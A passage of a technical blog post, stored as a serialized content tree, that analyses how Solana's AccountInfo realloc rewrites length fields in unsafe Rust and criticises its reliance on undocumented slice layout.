",{"type":23,"tag":154,"props":17492,"children":17494},{"className":17493},[],[17495],{"type":29,"value":17368},{"type":29,"value":17497},", where the ",{"type":23,"tag":154,"props":17499,"children":17501},{"className":17500},[],[17502],{"type":29,"value":8033},{"type":29,"value":17490},{"type":23,"tag":154,"props":17505,"children":17507},{"className":17506},[],[17508],{"type":29,"value":17509},"&mut [u8]",{"type":29,"value":17511}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":154,"props":17513,"children":17515},{"className":17514},[],[17516],{"type":29,"value":16985},{"type":29,"value":17518},", we get a new reference",{"type":23,"tag":17520,"props":17521,"children":17522},"sup",{},[17523],{"type":23,"tag":68,"props":17524,"children":17529},{"href":17525,"ariaDescribedBy":17526,"dataFootnoteRef":7,"id":17528},"#user-content-fn-rc-refs",[17527],"footnote-label","user-content-fnref-rc-refs",[17530],{"type":29,"value":826},{"type":29,"value":17532}," to the slice pointing at the ",{"type":23,"tag":4321,"props":17534,"children":17535},{},[17536],{"type":29,"value":17537},"same",{"type":29,"value":17539}," data buffer.",{"type":23,"tag":32,"props":17541,"children":17542},{},[17543,17545,17551,17553,17559],{"type":29,"value":17544},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":154,"props":17546,"children":17548},{"className":17547},[],[17549],{"type":29,"value":17550},"RefCell",{"type":29,"value":17552}," to check the rules at runtime. (The ",{"type":23,"tag":154,"props":17554,"children":17556},{"className":17555},[],[17557],{"type":29,"value":17558},"lamports",{"type":29,"value":17560}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":32,"props":17562,"children":17563},{},[17564,17566,17572],{"type":29,"value":17565},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":154,"props":17567,"children":17569},{"className":17568},[],[17570],{"type":29,"value":17571},"AccountInfo::data",{"type":29,"value":17573},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":32,"props":17575,"children":17576},{},[17577,17579,17586],{"type":29,"value":17578},"This is also where the ",{"type":23,"tag":68,"props":17580,"children":17583},{"href":17581,"rel":17582},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[72],[17584],{"type":29,"value":17585},"runtime validity checks",{"type":29,"value":17587}," are imposed.",{"type":23,"tag":4743,"props":17589,"children":17591},{"className":5009,"code":17590,"language":5008,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[17592],{"type":23,"tag":154,"props":17593,"children":17594},{"__ignoreMap":7},[17595,17603,17611,17619,17661,17679,17708,17753,17760,17784,17819,17844,17876,17891,17923,17930],{"type":23,"tag":504,"props":17596,"children":17597},{"class":5016,"line":5017},[17598],{"type":23,"tag":504,"props":17599,"children":17600},{"style":5021},[17601],{"type":29,"value":17602},"// Only the owner may change account data\n",{"type":23,"tag":504,"props":17604,"children":17605},{"class":5016,"line":4868},[17606],{"type":23,"tag":504,"props":17607,"children":17608},{"style":5021},[17609],{"type":29,"value":17610},"//   and if the account is writable\n",{"type":23,"tag":504,"props":17612,"children":17613},{"class":5016,"line":4876},[17614],{"type":23,"tag":504,"props":17615,"children":17616},{"style":5021},[17617],{"type":29,"value":17618},"//   and if the account is not executable\n",{"type":23,"tag":504,"props":17620,"children":17621},{"class":5016,"line":5099},[17622,17627,17631,17635,17639,17643,17648,17652,17657],{"type":23,"tag":504,"props":17623,"children":17624},{"style":5067},[17625],{"type":29,"value":17626},"if",{"type":23,"tag":504,"props":17628,"children":17629},{"style":5047},[17630],{"type":29,"value":14910},{"type":23,"tag":504,"props":17632,"children":17633},{"style":5058},[17634],{"type":29,"value":603},{"type":23,"tag":504,"props":17636,"children":17637},{"style":5041},[17638],{"type":29,"value":16712},{"type":23,"tag":504,"props":17640,"children":17641},{"style":5047},[17642],{"type":29,"value":5324},{"type":23,"tag":504,"props":17644,"children":17645},{"style":5041},[17646],{"type":29,"value":17647}," pre",{"type":23,"tag":504,"props":17649,"children":17650},{"style":5047},[17651],{"type":29,"value":357},{"type":23,"tag":504,"props":17653,"children":17654},{"style":5139},[17655],{"type":29,"value":17656},"owner",{"type":23,"tag":504,"props":17658,"children":17659},{"style":5058},[17660],{"type":29,"value":9780},{"type":23,"tag":504,"props":17662,"children":17663},{"class":5016,"line":5203},[17664,17669,17674],{"type":23,"tag":504,"props":17665,"children":17666},{"style":5047},[17667],{"type":29,"value":17668},"    &&",{"type":23,"tag":504,"props":17670,"children":17671},{"style":5041},[17672],{"type":29,"value":17673}," is_writable",{"type":23,"tag":504,"props":17675,"children":17676},{"style":5021},[17677],{"type":29,"value":17678},"  // line coverage used to get branch coverage\n",{"type":23,"tag":504,"props":17680,"children":17681},{"class":5016,"line":5308},[17682,17686,17690,17694,17698,17703],{"type":23,"tag":504,"props":17683,"children":17684},{"style":5047},[17685],{"type":29,"value":17668},{"type":23,"tag":504,"props":17687,"children":17688},{"style":5047},[17689],{"type":29,"value":14910},{"type":23,"tag":504,"props":17691,"children":17692},{"style":5041},[17693],{"type":29,"value":4743},{"type":23,"tag":504,"props":17695,"children":17696},{"style":5047},[17697],{"type":29,"value":357},{"type":23,"tag":504,"props":17699,"children":17700},{"style":5139},[17701],{"type":29,"value":17702},"executable",{"type":23,"tag":504,"props":17704,"children":17705},{"style":5058},[17706],{"type":29,"value":17707},"())\n",{"type":23,"tag":504,"props":17709,"children":17710},{"class":5016,"line":5336},[17711,17715,17719,17723,17727,17731,17736,17741,17745,17749],{"type":23,"tag":504,"props":17712,"children":17713},{"style":5047},[17714],{"type":29,"value":17668},{"type":23,"tag":504,"props":17716,"children":17717},{"style":5041},[17718],{"type":29,"value":17647},{"type":23,"tag":504,"props":17720,"children":17721},{"style":5047},[17722],{"type":29,"value":357},{"type":23,"tag":504,"props":17724,"children":17725},{"style":5139},[17726],{"type":29,"value":5761},{"type":23,"tag":504,"props":17728,"children":17729},{"style":5058},[17730],{"type":29,"value":16089},{"type":23,"tag":504,"props":17732,"children":17733},{"style":5047},[17734],{"type":29,"value":17735},"!=",{"type":23,"tag":504,"props":17737,"children":17738},{"style":5041},[17739],{"type":29,"value":17740}," post",{"type":23,"tag":504,"props":17742,"children":17743},{"style":5047},[17744],{"type":29,"value":357},{"type":23,"tag":504,"props":17746,"children":17747},{"style":5139},[17748],{"type":29,"value":5761},{"type":23,"tag":504,"props":17750,"children":17751},{"style":5058},[17752],{"type":29,"value":9780},{"type":23,"tag":504,"props":17754,"children":17755},{"class":5016,"line":5349},[17756],{"type":23,"tag":504,"props":17757,"children":17758},{"style":5058},[17759],{"type":29,"value":12926},{"type":23,"tag":504,"props":17761,"children":17762},{"class":5016,"line":5367},[17763,17767,17771,17775,17779],{"type":23,"tag":504,"props":17764,"children":17765},{"style":5067},[17766],{"type":29,"value":14325},{"type":23,"tag":504,"props":17768,"children":17769},{"style":5041},[17770],{"type":29,"value":17647},{"type":23,"tag":504,"props":17772,"children":17773},{"style":5047},[17774],{"type":29,"value":357},{"type":23,"tag":504,"props":17776,"children":17777},{"style":5139},[17778],{"type":29,"value":17702},{"type":23,"tag":504,"props":17780,"children":17781},{"style":5058},[17782],{"type":29,"value":17783},"() {\n",{"type":23,"tag":504,"props":17785,"children":17786},{"class":5016,"line":5388},[17787,17792,17797,17801,17806,17810,17815],{"type":23,"tag":504,"props":17788,"children":17789},{"style":5067},[17790],{"type":29,"value":17791},"        return",{"type":23,"tag":504,"props":17793,"children":17794},{"style":5467},[17795],{"type":29,"value":17796}," Err",{"type":23,"tag":504,"props":17798,"children":17799},{"style":5058},[17800],{"type":29,"value":603},{"type":23,"tag":504,"props":17802,"children":17803},{"style":5467},[17804],{"type":29,"value":17805},"InstructionError",{"type":23,"tag":504,"props":17807,"children":17808},{"style":5047},[17809],{"type":29,"value":5530},{"type":23,"tag":504,"props":17811,"children":17812},{"style":5467},[17813],{"type":29,"value":17814},"ExecutableDataModified",{"type":23,"tag":504,"props":17816,"children":17817},{"style":5058},[17818],{"type":29,"value":5888},{"type":23,"tag":504,"props":17820,"children":17821},{"class":5016,"line":5397},[17822,17827,17831,17836,17840],{"type":23,"tag":504,"props":17823,"children":17824},{"style":5058},[17825],{"type":29,"value":17826},"    } ",{"type":23,"tag":504,"props":17828,"children":17829},{"style":5067},[17830],{"type":29,"value":5360},{"type":23,"tag":504,"props":17832,"children":17833},{"style":5067},[17834],{"type":29,"value":17835}," if",{"type":23,"tag":504,"props":17837,"children":17838},{"style":5041},[17839],{"type":29,"value":17673},{"type":23,"tag":504,"props":17841,"children":17842},{"style":5058},[17843],{"type":29,"value":5333},{"type":23,"tag":504,"props":17845,"children":17846},{"class":5016,"line":5649},[17847,17851,17855,17859,17863,17867,17872],{"type":23,"tag":504,"props":17848,"children":17849},{"style":5067},[17850],{"type":29,"value":17791},{"type":23,"tag":504,"props":17852,"children":17853},{"style":5467},[17854],{"type":29,"value":17796},{"type":23,"tag":504,"props":17856,"children":17857},{"style":5058},[17858],{"type":29,"value":603},{"type":23,"tag":504,"props":17860,"children":17861},{"style":5467},[17862],{"type":29,"value":17805},{"type":23,"tag":504,"props":17864,"children":17865},{"style":5047},[17866],{"type":29,"value":5530},{"type":23,"tag":504,"props":17868,"children":17869},{"style":5467},[17870],{"type":29,"value":17871},"ExternalAccountDataModified",{"type":23,"tag":504,"props":17873,"children":17874},{"style":5058},[17875],{"type":29,"value":5888},{"type":23,"tag":504,"props":17877,"children":17878},{"class":5016,"line":5666},[17879,17883,17887],{"type":23,"tag":504,"props":17880,"children":17881},{"style":5058},[17882],{"type":29,"value":17826},{"type":23,"tag":504,"props":17884,"children":17885},{"style":5067},[17886],{"type":29,"value":5360},{"type":23,"tag":504,"props":17888,"children":17889},{"style":5058},[17890],{"type":29,"value":5333},{"type":23,"tag":504,"props":17892,"children":17893},{"class":5016,"line":5683},[17894,17898,17902,17906,17910,17914,17919],{"type":23,"tag":504,"props":17895,"children":17896},{"style":5067},[17897],{"type":29,"value":17791},{"type":23,"tag":504,"props":17899,"children":17900},{"style":5467},[17901],{"type":29,"value":17796},{"type":23,"tag":504,"props":17903,"children":17904},{"style":5058},[17905],{"type":29,"value":603},{"type":23,"tag":504,"props":17907,"children":17908},{"style":5467},[17909],{"type":29,"value":17805},{"type":23,"tag":504,"props":17911,"children":17912},{"style":5047},[17913],{"type":29,"value":5530},{"type":23,"tag":504,"props":17915,"children":17916},{"style":5467},[17917],{"type":29,"value":17918},"ReadonlyDataModified",{"type":23,"tag":504,"props":17920,"children":17921},{"style":5058},[17922],{"type":29,"value":5888},{"type":23,"tag":504,"props":17924,"children":17925},{"class":5016,"line":5696},[17926],{"type":23,"tag":504,"props":17927,"children":17928},{"style":5058},[17929],{"type":29,"value":5403},{"type":23,"tag":504,"props":17931,"children":17932},{"class":5016,"line":5705},[17933],{"type":23,"tag":504,"props":17934,"children":17935},{"style":5058},[17936],{"type":29,"value":5965},{"type":23,"tag":320,"props":17938,"children":17940},{"id":17939},"back-to-realloc",[17941,17943],{"type":29,"value":17942},"Back to ",{"type":23,"tag":154,"props":17944,"children":17946},{"className":17945},[],[17947],{"type":29,"value":15684},{"type":23,"tag":32,"props":17949,"children":17950},{},[17951],{"type":29,"value":17952},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":4743,"props":17954,"children":17955},{"className":5009,"code":16437,"language":5008,"meta":7,"style":7},[17956],{"type":23,"tag":154,"props":17957,"children":17958},{"__ignoreMap":7},[17959,17966,18053],{"type":23,"tag":504,"props":17960,"children":17961},{"class":5016,"line":5017},[17962],{"type":23,"tag":504,"props":17963,"children":17964},{"style":5021},[17965],{"type":29,"value":16449},{"type":23,"tag":504,"props":17967,"children":17968},{"class":5016,"line":4868},[17969,17973,17977,17981,17985,17989,17993,17997,18001,18005,18009,18013,18017,18021,18025,18029,18033,18037,18041,18045,18049],{"type":23,"tag":504,"props":17970,"children":17971},{"style":5030},[17972],{"type":29,"value":13833},{"type":23,"tag":504,"props":17974,"children":17975},{"style":5041},[17976],{"type":29,"value":15903},{"type":23,"tag":504,"props":17978,"children":17979},{"style":5047},[17980],{"type":29,"value":5050},{"type":23,"tag":504,"props":17982,"children":17983},{"style":5030},[17984],{"type":29,"value":15843},{"type":23,"tag":504,"props":17986,"children":17987},{"style":5047},[17988],{"type":29,"value":357},{"type":23,"tag":504,"props":17990,"children":17991},{"style":5139},[17992],{"type":29,"value":15920},{"type":23,"tag":504,"props":17994,"children":17995},{"style":5058},[17996],{"type":29,"value":15925},{"type":23,"tag":504,"props":17998,"children":17999},{"style":5047},[18000],{"type":29,"value":5173},{"type":23,"tag":504,"props":18002,"children":18003},{"style":5139},[18004],{"type":29,"value":15934},{"type":23,"tag":504,"props":18006,"children":18007},{"style":5058},[18008],{"type":29,"value":15925},{"type":23,"tag":504,"props":18010,"children":18011},{"style":5047},[18012],{"type":29,"value":357},{"type":23,"tag":504,"props":18014,"children":18015},{"style":5139},[18016],{"type":29,"value":15947},{"type":23,"tag":504,"props":18018,"children":18019},{"style":5058},[18020],{"type":29,"value":603},{"type":23,"tag":504,"props":18022,"children":18023},{"style":5047},[18024],{"type":29,"value":6368},{"type":23,"tag":504,"props":18026,"children":18027},{"style":5083},[18028],{"type":29,"value":6124},{"type":23,"tag":504,"props":18030,"children":18031},{"style":5058},[18032],{"type":29,"value":5128},{"type":23,"tag":504,"props":18034,"children":18035},{"style":5030},[18036],{"type":29,"value":10887},{"type":23,"tag":504,"props":18038,"children":18039},{"style":5047},[18040],{"type":29,"value":11863},{"type":23,"tag":504,"props":18042,"children":18043},{"style":5030},[18044],{"type":29,"value":5783},{"type":23,"tag":504,"props":18046,"children":18047},{"style":5467},[18048],{"type":29,"value":7905},{"type":23,"tag":504,"props":18050,"children":18051},{"style":5058},[18052],{"type":29,"value":5061},{"type":23,"tag":504,"props":18054,"children":18055},{"class":5016,"line":4876},[18056,18060,18064,18068,18072,18076,18080],{"type":23,"tag":504,"props":18057,"children":18058},{"style":5047},[18059],{"type":29,"value":6613},{"type":23,"tag":504,"props":18061,"children":18062},{"style":5041},[18063],{"type":29,"value":15995},{"type":23,"tag":504,"props":18065,"children":18066},{"style":5047},[18067],{"type":29,"value":5050},{"type":23,"tag":504,"props":18069,"children":18070},{"style":5041},[18071],{"type":29,"value":16004},{"type":23,"tag":504,"props":18073,"children":18074},{"style":5030},[18075],{"type":29,"value":10873},{"type":23,"tag":504,"props":18077,"children":18078},{"style":5467},[18079],{"type":29,"value":7905},{"type":23,"tag":504,"props":18081,"children":18082},{"style":5058},[18083],{"type":29,"value":5061},{"type":23,"tag":32,"props":18085,"children":18086},{},[18087,18092,18094,18099,18101,18106,18108,18119,18121,18126,18128,18133],{"type":23,"tag":154,"props":18088,"children":18090},{"className":18089},[],[18091],{"type":29,"value":15920},{"type":29,"value":18093}," gives us the ",{"type":23,"tag":154,"props":18095,"children":18097},{"className":18096},[],[18098],{"type":29,"value":17509},{"type":29,"value":18100}," from the ",{"type":23,"tag":154,"props":18102,"children":18104},{"className":18103},[],[18105],{"type":29,"value":17384},{"type":29,"value":18107},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":68,"props":18109,"children":18112},{"href":18110,"rel":18111},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[72],[18113],{"type":23,"tag":154,"props":18114,"children":18116},{"className":18115},[],[18117],{"type":29,"value":18118},"slice::as_mut_ptr()",{"type":29,"value":18120}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":154,"props":18122,"children":18124},{"className":18123},[],[18125],{"type":29,"value":10087},{"type":29,"value":18127}," - behind the data buffer), and then writes ",{"type":23,"tag":154,"props":18129,"children":18131},{"className":18130},[],[18132],{"type":29,"value":15768},{"type":29,"value":18134}," to it.",{"type":23,"tag":32,"props":18136,"children":18137},{},[18138,18140,18152,18154,18160],{"type":29,"value":18139},"This is reasonable... ",{"type":23,"tag":4321,"props":18141,"children":18142},{},[18143,18145,18150],{"type":29,"value":18144},"as long as the ",{"type":23,"tag":154,"props":18146,"children":18148},{"className":18147},[],[18149],{"type":29,"value":5761},{"type":29,"value":18151}," actually came from the serialized buffer",{"type":29,"value":18153},". We'll come back to this ",{"type":23,"tag":68,"props":18155,"children":18157},{"href":18156},"#Not-contracts",[18158],{"type":29,"value":18159},"later",{"type":29,"value":357},{"type":23,"tag":32,"props":18162,"children":18163},{},[18164,18166,18171],{"type":29,"value":18165},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":154,"props":18167,"children":18169},{"className":18168},[],[18170],{"type":29,"value":17509},{"type":29,"value":18172}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":4743,"props":18174,"children":18176},{"className":5009,"code":18175,"language":5008,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[18177],{"type":23,"tag":154,"props":18178,"children":18179},{"__ignoreMap":7},[18180,18188,18315],{"type":23,"tag":504,"props":18181,"children":18182},{"class":5016,"line":5017},[18183],{"type":23,"tag":504,"props":18184,"children":18185},{"style":5021},[18186],{"type":29,"value":18187},"// Then set the new length in the local slice\n",{"type":23,"tag":504,"props":18189,"children":18190},{"class":5016,"line":4868},[18191,18195,18199,18203,18207,18211,18215,18219,18223,18227,18231,18235,18239,18243,18247,18251,18255,18259,18263,18267,18271,18275,18279,18283,18287,18291,18295,18299,18303,18307,18311],{"type":23,"tag":504,"props":18192,"children":18193},{"style":5030},[18194],{"type":29,"value":13833},{"type":23,"tag":504,"props":18196,"children":18197},{"style":5041},[18198],{"type":29,"value":15903},{"type":23,"tag":504,"props":18200,"children":18201},{"style":5047},[18202],{"type":29,"value":5050},{"type":23,"tag":504,"props":18204,"children":18205},{"style":5047},[18206],{"type":29,"value":9185},{"type":23,"tag":504,"props":18208,"children":18209},{"style":5030},[18210],{"type":29,"value":5783},{"type":23,"tag":504,"props":18212,"children":18213},{"style":5047},[18214],{"type":29,"value":11863},{"type":23,"tag":504,"props":18216,"children":18217},{"style":5058},[18218],{"type":29,"value":16063},{"type":23,"tag":504,"props":18220,"children":18221},{"style":5030},[18222],{"type":29,"value":15759},{"type":23,"tag":504,"props":18224,"children":18225},{"style":5047},[18226],{"type":29,"value":357},{"type":23,"tag":504,"props":18228,"children":18229},{"style":5058},[18230],{"type":29,"value":5761},{"type":23,"tag":504,"props":18232,"children":18233},{"style":5047},[18234],{"type":29,"value":357},{"type":23,"tag":504,"props":18236,"children":18237},{"style":5139},[18238],{"type":29,"value":16084},{"type":23,"tag":504,"props":18240,"children":18241},{"style":5058},[18242],{"type":29,"value":16089},{"type":23,"tag":504,"props":18244,"children":18245},{"style":5030},[18246],{"type":29,"value":10887},{"type":23,"tag":504,"props":18248,"children":18249},{"style":5047},[18250],{"type":29,"value":11863},{"type":23,"tag":504,"props":18252,"children":18253},{"style":5030},[18254],{"type":29,"value":11701},{"type":23,"tag":504,"props":18256,"children":18257},{"style":5467},[18258],{"type":29,"value":7905},{"type":23,"tag":504,"props":18260,"children":18261},{"style":5058},[18262],{"type":29,"value":933},{"type":23,"tag":504,"props":18264,"children":18265},{"style":5047},[18266],{"type":29,"value":357},{"type":23,"tag":504,"props":18268,"children":18269},{"style":5139},[18270],{"type":29,"value":15947},{"type":23,"tag":504,"props":18272,"children":18273},{"style":5058},[18274],{"type":29,"value":603},{"type":23,"tag":504,"props":18276,"children":18277},{"style":5083},[18278],{"type":29,"value":826},{"type":23,"tag":504,"props":18280,"children":18281},{"style":5058},[18282],{"type":29,"value":5128},{"type":23,"tag":504,"props":18284,"children":18285},{"style":5030},[18286],{"type":29,"value":10887},{"type":23,"tag":504,"props":18288,"children":18289},{"style":5467},[18290],{"type":29,"value":7905},{"type":23,"tag":504,"props":18292,"children":18293},{"style":5058},[18294],{"type":29,"value":5128},{"type":23,"tag":504,"props":18296,"children":18297},{"style":5030},[18298],{"type":29,"value":10887},{"type":23,"tag":504,"props":18300,"children":18301},{"style":5047},[18302],{"type":29,"value":11863},{"type":23,"tag":504,"props":18304,"children":18305},{"style":5030},[18306],{"type":29,"value":5783},{"type":23,"tag":504,"props":18308,"children":18309},{"style":5467},[18310],{"type":29,"value":7905},{"type":23,"tag":504,"props":18312,"children":18313},{"style":5058},[18314],{"type":29,"value":5888},{"type":23,"tag":504,"props":18316,"children":18317},{"class":5016,"line":4876},[18318,18322,18326,18330,18334,18338,18342],{"type":23,"tag":504,"props":18319,"children":18320},{"style":5047},[18321],{"type":29,"value":6613},{"type":23,"tag":504,"props":18323,"children":18324},{"style":5041},[18325],{"type":29,"value":15995},{"type":23,"tag":504,"props":18327,"children":18328},{"style":5047},[18329],{"type":29,"value":5050},{"type":23,"tag":504,"props":18331,"children":18332},{"style":5041},[18333],{"type":29,"value":16004},{"type":23,"tag":504,"props":18335,"children":18336},{"style":5030},[18337],{"type":29,"value":10873},{"type":23,"tag":504,"props":18339,"children":18340},{"style":5467},[18341],{"type":29,"value":7905},{"type":23,"tag":504,"props":18343,"children":18344},{"style":5058},[18345],{"type":29,"value":5061},{"type":23,"tag":32,"props":18347,"children":18348},{},[18349,18351,18357,18359,18370,18372,18378,18380,18386,18388,18393,18395,18400,18402,18412,18413,18420,18421,18428,18435,18437,18443,18445,18451,18453,18458,18460,18465,18467,18473,18475,18480],{"type":29,"value":18350},"That ",{"type":23,"tag":154,"props":18352,"children":18354},{"className":18353},[],[18355],{"type":29,"value":18356},"as_ptr()",{"type":29,"value":18358}," call is ",{"type":23,"tag":68,"props":18360,"children":18363},{"href":18361,"rel":18362},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[72],[18364],{"type":23,"tag":154,"props":18365,"children":18367},{"className":18366},[],[18368],{"type":29,"value":18369},"RefCell::as_ptr()",{"type":29,"value":18371}," due to the ",{"type":23,"tag":154,"props":18373,"children":18375},{"className":18374},[],[18376],{"type":29,"value":18377},"Deref",{"type":29,"value":18379}," impl on ",{"type":23,"tag":154,"props":18381,"children":18383},{"className":18382},[],[18384],{"type":29,"value":18385},"Rc",{"type":29,"value":18387}," (remember also that ",{"type":23,"tag":154,"props":18389,"children":18391},{"className":18390},[],[18392],{"type":29,"value":17550},{"type":29,"value":18394}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":4321,"props":18396,"children":18397},{},[18398],{"type":29,"value":18399},"get",{"type":29,"value":18401}," one through ",{"type":23,"tag":68,"props":18403,"children":18406},{"href":18404,"rel":18405},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[72],[18407],{"type":23,"tag":154,"props":18408,"children":18410},{"className":18409},[],[18411],{"type":29,"value":10847},{"type":29,"value":1698},{"type":23,"tag":68,"props":18414,"children":18417},{"href":18415,"rel":18416},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[72],[18418],{"type":29,"value":18419},"and",{"type":29,"value":1698},{"type":23,"tag":68,"props":18422,"children":18425},{"href":18423,"rel":18424},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[72],[18426],{"type":29,"value":18427},"frie",{"type":23,"tag":68,"props":18429,"children":18432},{"href":18430,"rel":18431},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[72],[18433],{"type":29,"value":18434},"nds",{"type":29,"value":18436},"). So from ",{"type":23,"tag":154,"props":18438,"children":18440},{"className":18439},[],[18441],{"type":29,"value":18442},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":18444}," we get a ",{"type":23,"tag":154,"props":18446,"children":18448},{"className":18447},[],[18449],{"type":29,"value":18450},"*mut &mut [u8]",{"type":29,"value":18452}," - a ",{"type":23,"tag":4321,"props":18454,"children":18455},{},[18456],{"type":29,"value":18457},"pointer",{"type":29,"value":18459}," to the ",{"type":23,"tag":4321,"props":18461,"children":18462},{},[18463],{"type":29,"value":18464},"slice reference",{"type":29,"value":18466},". From here, we turn the pointer into a ",{"type":23,"tag":154,"props":18468,"children":18470},{"className":18469},[],[18471],{"type":29,"value":18472},"*const u64",{"type":29,"value":18474}," pointer and then offset by 1 ",{"type":23,"tag":154,"props":18476,"children":18478},{"className":18477},[],[18479],{"type":29,"value":10087},{"type":29,"value":18481}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":32,"props":18483,"children":18484},{},[18485,18487,18492,18494,18499,18501,18506,18508,18513,18515,18521],{"type":29,"value":18486},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":68,"props":18488,"children":18490},{"href":18489},"#Towards-safer-unsafe",[18491],{"type":29,"value":18159},{"type":29,"value":18493}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":154,"props":18495,"children":18497},{"className":18496},[],[18498],{"type":29,"value":10087},{"type":29,"value":18500}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":4321,"props":18502,"children":18503},{},[18504],{"type":29,"value":18505},"reference",{"type":29,"value":18507}," (the ",{"type":23,"tag":154,"props":18509,"children":18511},{"className":18510},[],[18512],{"type":29,"value":17509},{"type":29,"value":18514},").So, what does ",{"type":23,"tag":154,"props":18516,"children":18518},{"className":18517},[],[18519],{"type":29,"value":18520},"&[T]",{"type":29,"value":18522}," look like in Rust?",{"type":23,"tag":32,"props":18524,"children":18525},{},[18526,18528,18535,18537,18550,18552,18558],{"type":29,"value":18527},"According to ",{"type":23,"tag":68,"props":18529,"children":18532},{"href":18530,"rel":18531},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[72],[18533],{"type":29,"value":18534},"the reference",{"type":29,"value":18536},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":68,"props":18538,"children":18541},{"href":18539,"rel":18540},"https://doc.rust-lang.org/reference/type-layout.html",[72],[18542,18544,18548],{"type":29,"value":18543},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":504,"props":18545,"children":18546},{},[18547],{"type":29,"value":853},{"type":29,"value":18549}," we only document what is guaranteed today\"",{"type":29,"value":18551},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":154,"props":18553,"children":18555},{"className":18554},[],[18556],{"type":29,"value":18557},"rustc",{"type":29,"value":18559},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":4743,"props":18561,"children":18564},{"className":18562,"code":18563,"language":3110,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[18565],{"type":23,"tag":154,"props":18566,"children":18567},{"__ignoreMap":7},[18568,18576,18588,18605,18618],{"type":23,"tag":504,"props":18569,"children":18570},{"class":5016,"line":5017},[18571],{"type":23,"tag":504,"props":18572,"children":18573},{"style":5021},[18574],{"type":29,"value":18575},"// C language\n",{"type":23,"tag":504,"props":18577,"children":18578},{"class":5016,"line":4868},[18579,18583],{"type":23,"tag":504,"props":18580,"children":18581},{"style":5030},[18582],{"type":29,"value":11448},{"type":23,"tag":504,"props":18584,"children":18585},{"style":5058},[18586],{"type":29,"value":18587}," slice_ref {\n",{"type":23,"tag":504,"props":18589,"children":18590},{"class":5016,"line":4876},[18591,18596,18600],{"type":23,"tag":504,"props":18592,"children":18593},{"style":5030},[18594],{"type":29,"value":18595},"    void",{"type":23,"tag":504,"props":18597,"children":18598},{"style":5047},[18599],{"type":29,"value":6613},{"type":23,"tag":504,"props":18601,"children":18602},{"style":5058},[18603],{"type":29,"value":18604}," ptr;\n",{"type":23,"tag":504,"props":18606,"children":18607},{"class":5016,"line":5099},[18608,18613],{"type":23,"tag":504,"props":18609,"children":18610},{"style":5030},[18611],{"type":29,"value":18612},"    size_t",{"type":23,"tag":504,"props":18614,"children":18615},{"style":5058},[18616],{"type":29,"value":18617}," len;\n",{"type":23,"tag":504,"props":18619,"children":18620},{"class":5016,"line":5203},[18621],{"type":23,"tag":504,"props":18622,"children":18623},{"style":5058},[18624],{"type":29,"value":18625},"};\n",{"type":23,"tag":32,"props":18627,"children":18628},{},[18629],{"type":29,"value":18630},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":139,"props":18632,"children":18633},{},[18634,18639,18657],{"type":23,"tag":143,"props":18635,"children":18636},{},[18637],{"type":29,"value":18638},"Slices are laid out in the precise manner described",{"type":23,"tag":143,"props":18640,"children":18641},{},[18642,18644,18650,18652],{"type":29,"value":18643},"Pointers and ",{"type":23,"tag":154,"props":18645,"children":18647},{"className":18646},[],[18648],{"type":29,"value":18649},"usize",{"type":29,"value":18651}," are the same width as ",{"type":23,"tag":154,"props":18653,"children":18655},{"className":18654},[],[18656],{"type":29,"value":10087},{"type":23,"tag":143,"props":18658,"children":18659},{},[18660,18662,18667],{"type":29,"value":18661},"The ",{"type":23,"tag":154,"props":18663,"children":18665},{"className":18664},[],[18666],{"type":29,"value":17550},{"type":29,"value":18668}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its 